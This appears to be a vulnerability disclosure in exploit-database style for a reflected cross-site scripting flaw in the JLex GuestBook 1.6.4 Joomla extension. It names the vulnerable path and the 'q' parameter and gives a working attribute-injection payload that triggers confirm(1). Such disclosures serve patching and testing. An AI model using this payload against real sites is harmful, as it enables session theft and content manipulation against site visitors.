JLex GuestBook 1.6.4 - Reflected XSS

# Exploit Title: JLex GuestBook 1.6.4 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 01/08/2023
# Vendor: JLexArt
# Vendor Homepage: https://jlexart.com/
# Software Link: https://extensions.joomla.org/extension/contacts-and-feedback/guest-book/jlex-guestbook/
# Demo: https://jlexguestbook.jlexart.com/
# Version: 1.6.4
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /u/perry-705

GET parameter 'q' is vulnerable to XSS

http://website/u/perry-705?q=[XSS]&wl=1


XSS Payloads:

db8ck"onfocus="confirm(1)"autofocus="xwu0k